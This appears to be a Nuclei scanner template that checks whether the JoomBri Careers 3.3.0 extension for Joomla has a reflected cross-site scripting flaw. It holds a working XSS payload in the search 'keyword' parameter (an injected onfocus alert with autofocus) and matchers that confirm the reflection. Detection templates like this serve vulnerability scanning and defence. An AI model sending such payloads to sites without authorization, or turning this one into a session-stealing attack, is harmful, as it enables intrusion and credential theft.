id: joomla-joombri-careers-xss

info:
  name: Joomla JoomBri Careers 3.3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://packetstormsecurity.com/files/168641/Joomla-JoomBri-Careers-3.3.0-Cross-Site-Scripting.html
    - https://cxsecurity.com/issue/WLB-2022100024
    - https://extensions.joomla.org/
  metadata:
    verified: true
    max-request: 1
  tags: packetstorm,xss,joomla,joombri

http:
  - method: GET
    path:
      - "{{BaseURL}}/for-jobseekers/search-jobs?keyword=l9x1q%22onfocus%3D%22alert(document.domain)%22autofocus%3D%22ak5aghi5u9p"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "alert(document.domain)") && contains(body, "Joomla") && contains(tolower(body), "joombri")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402207ab6926e5d29bfa3ab6d1bac149ec5de8682704fcfba2fd7c58345b3e9cdfe6d0220212e0e9d08ab11ce0392ea7d4646aceb3de8028aaba72e1f163c95b44900e8e3:922c64590222798bb761d5b6d8e72950